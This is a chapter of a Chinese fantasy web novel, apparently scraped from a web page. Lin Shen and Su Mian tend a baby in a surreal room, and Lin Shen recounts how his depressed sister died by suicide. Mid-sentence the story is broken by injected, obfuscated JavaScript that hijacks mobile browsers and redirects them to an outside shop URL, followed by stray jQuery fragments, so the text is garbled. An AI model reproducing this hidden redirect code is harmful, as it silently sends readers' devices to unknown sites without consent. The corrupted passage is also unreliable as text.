沙地消失了。
不是逐步消失，而是“切换”——像有人按下了遥控器，画面从沙漠跳转到了另一个空间。新空间是一个客厅，不大，约二十平方米。有沙发、茶几、电视柜、一盆枯萎的绿萝。墙上的挂钟停了，指针指向十一点四十四分——林深收到黑色卡片的时间。
客厅的窗户是封死的，不是被封死，而是一开始就没有窗扇。玻璃就是墙壁，玻璃的外面不是风景，而是一片漆黑。但漆黑中有东西在移动，像鱼在水族箱里游动，但那些“鱼”太大了，不是鱼，是人影。无数的人影，在玻璃外面缓慢地、无声地游过。
苏眠把婴儿放在沙发上。婴儿已经醒了，但它没有哭。它只是躺在沙发上，小手小脚在空中挥舞，像在游泳。它的皮肤颜色恢复了正常——不是黄色的，不是透明的，而是健康的、粉白色的。冥渊暂时放过了它。
“它饿了。”苏眠说。
林深从口袋里掏出一样东西——一个奶瓶。他不知道它是什么时候出现在口袋里的，但它在那里，装着温热的、乳白色的液体。他把奶瓶递给苏眠，苏眠喂婴儿。
婴儿含住奶嘴，用力地吮吸。小脸因为用力而泛红，眉头微微皱着，像是怕有人把奶瓶抢走。它吃得很快，喉咙里发出“咕咚咕咚”的声音。
林深坐在沙发的另一头，看着婴儿吃奶。
他不饿，但他渴了。他走到电视柜前，那里有一个玻璃杯，杯里有半杯水。水是凉的，没有味道。他喝了两口，把杯子放回去。
杯子底部有一个标签：「多余」。
他把标签撕掉。标签的背面写着：「但有用」。
林深把标签揉成团，扔进了垃圾桶。
苏眠把婴儿喂饱了，婴儿在她怀里打了一个大大的嗝，然后心满意足地闭上了眼睛。它抓着苏眠的衣领，像抓着一根救生索。
“它把你当成妈妈了。”林深说。
苏眠低头看着婴儿。“它把谁当成妈妈，谁就是妈妈。它没有选择，我们也没有。”
她抬起头，看着林深。
“你妹妹的事，是真的吗？”
林深没有立刻回答。他看着窗外游过的人影，那些人影有的高，有的矮，有的快，有的慢。他们在玻璃外面活着，不，不是活着——是在“重播”。他们在重播自己生前的某个片段，无限循环，永远不停。
“真的。”
“她是怎么死的？”
林深沉默了很长时间。长到苏眠以为他不会回答了。
然后他开口了。
“她有病。不是身体上的，是心理上的。抑郁症。我从十六岁开始就知道。但我没有告诉任何人。我以为我能治好她。我学了心理学，读了犯罪心理学，但我们家附近没有好的心理医生。我给她做咨询。不，不是咨询，是‘聊天’。我用我的专业知识和她聊天，试图找到她的问题根源。我以为我找到了。我以为她需要的是‘被需要’的感觉。所以我对她说：‘然然，你是一个负担。但这个负担是我的，我愿意背。你不用改变，你只需要活着。’”
他停了一下。
“第二天，她死了。从窗户跳下去。她给我留了一张纸条：‘哥，我不想成为负担。’”
苏眠的手紧了，婴儿在睡梦中皱了一下眉。
“你用错了词。”苏眠说。“你不应该说‘负担’。你应该说‘责任’。但你没有说。因为你害怕。害怕如果她说‘我不想成为责任’，你就没有办法了。你想用一个最有力的词——‘负担’——来让她感到愧疚，让她因为愧疚而活着。但你忘了，抑郁症患者不会被愧疚救活，只会被愧疚杀死。”
林深没有说话。
苏眠继续说：“你选错了策略。不是因为你不聪明，而是因为你太聪明了。你以为你可以用理性治愈一个不是由理性导致的病。你不能。爱情不能，亲情也不能。你只能陪伴，不能在陪伴的同时试图‘修复’她。因为你一试图修复，她就会知道她坏了。一个觉得自己坏了的人，会躲起来，会藏起来，会消失。”
林深的手放在膝盖上，一动不动。
“你说这些，”他的声音很低，“是想让我更愧疚，还是想让我释怀？”
苏眠看着他。“我只是在陈述事实。你不需要我让你愧疚，你已经够愧疚了。你也不需要我让你释怀，释怀不是别人给的。我只是想让你知道——你的选择不是‘错’，而是‘有限’。你是一个有限的人，不是神。你不能救所有人，包括你最想救的人。”
林深转过头，看着窗外游过的人影。
那些人影中，有一个停在了窗外。不是“游过”，而是“停驻”。那个人影很小，是一个孩子的轮廓。它把脸贴在玻璃上，玻璃上起了一层雾气——它在呼吸。它在看林深。
林深看着那个孩子的脸。看不清五官，但他知道那是谁。
林然。
不是八岁的，不是十六岁的，而是——所有年龄叠加在一起的。一个模糊的、透明的、由时间和记忆编织成的轮廓。
“她在看你。”苏眠说。
“她一直在看我。”林深说。
孩子的人影从玻璃上消失了。不是移开，而是“融入”——她的轮廓融进了玻璃里，变成了玻璃的一部分。然后玻璃开始变化，从透明变成半透明，从半透明变成不透明，从不透明变成镜子。
客厅消失。
他们站在一间镜子房间里。四面墙都是镜子，天花板是镜子，地板也是镜子。无数个林深和苏眠在镜子的反射中无限延伸，像两条平行线在无穷远处交汇。
婴儿醒了，它看着镜子里的无数个自己，笑了。婴儿还没有“自我”的概念，它不知道镜子里的是自己。它以为那是另一个婴儿，一个可以陪它玩的、不害怕的、温暖的婴儿。
林深站在镜子前，看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653698|206899||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着自己的倒影。
倒影的眼睛是灰色的，和他一样。但倒影的嘴角是向下的——他在皱眉。林深没有皱眉。他的表情是平的。但倒影在皱眉。
倒影开口了，用和林深一模一样的声音：
“你在想，如果当年你没有学心理学，你妹妹会不会还活着？”
林深没有回答。
倒影继续说：“如果你没有学心理学，你不会试图‘治疗’她。你会像普通哥哥一样，陪她看电视，给她买零食，骂她不好好学习。她不会觉得你在‘修理’她。她会觉得你只是一个烦人的、但会永远在的哥哥。她可能不会死。”
林深的手慢慢握紧。
“你的每一个选择，”倒影说，“都指向同一个结局。因为你从十六岁开始，就走错了路。你以为你在救她，其实你在推她。每一句话，每一个词，每一个‘我以为’，都让她更孤独。因为没有人想被当成‘病例’被爱。她想被当成‘妹妹’被爱。你不懂。你到现在都不懂。”
苏眠走到林深身边，看着他的倒影。
她对倒影说：“你是谁？”
倒影转向她。“我是他心里的话。他不说的那些。”
“他不说，是因为那些话是错的。”
倒影愣了一下。“错？”
“你说他没有把她当妹妹爱。不对。他把她当成了比自己更重要的人去爱。正是因为太重要，他才不敢犯错。所以他才要用学到的所有知识去‘确保’不出错。但他不知道，在爱里，‘确保’本身就是一种错。爱不是科学，不是工程，不是战争。爱是不确保。爱是即使错了，也不离开。”
苏眠看着林深，他的侧脸没有表情，但他的眼睛——他的灰色眼睛——在镜子的反射中，有一瞬间变成了黑色。
不是冥渊的黑色，而是他自己的。他的瞳孔放大了，大到几乎吞没了虹膜。那不是恐惧的放大，而是“看见”的放大——他在看镜子里的倒影，但他看到的不只是倒影。他看到的是自己内心的所有房间，每个房间都关着一个人——过去的自己，可能的自己，想成为的自己，害怕成为的自己。
倒影消失了。
镜子恢复了正常的反射。
林深转过身，面对着苏眠。他的表情依然是平的，但他的眼睛里多了一样东西——想要说“谢谢”，但说不出口的犹豫。
苏眠没有等他说。她低下头，看着怀中的婴儿。婴儿在笑，小手朝着镜子挥舞，像是在和另一个自己打招呼。
“它比我们勇敢。”苏眠说。“它不怕另一个自己。”
林深也看向镜子。镜子里，他的倒影在笑。不是他现在的表情，而是他很久以前的表情——十六岁之前，妹妹还健康的时候，那个会笑的他。
他看了三秒，然后移开了视线。
他不敢看太久。因为他怕自己会想要回去。而回不去的东西，看得越久，越疼。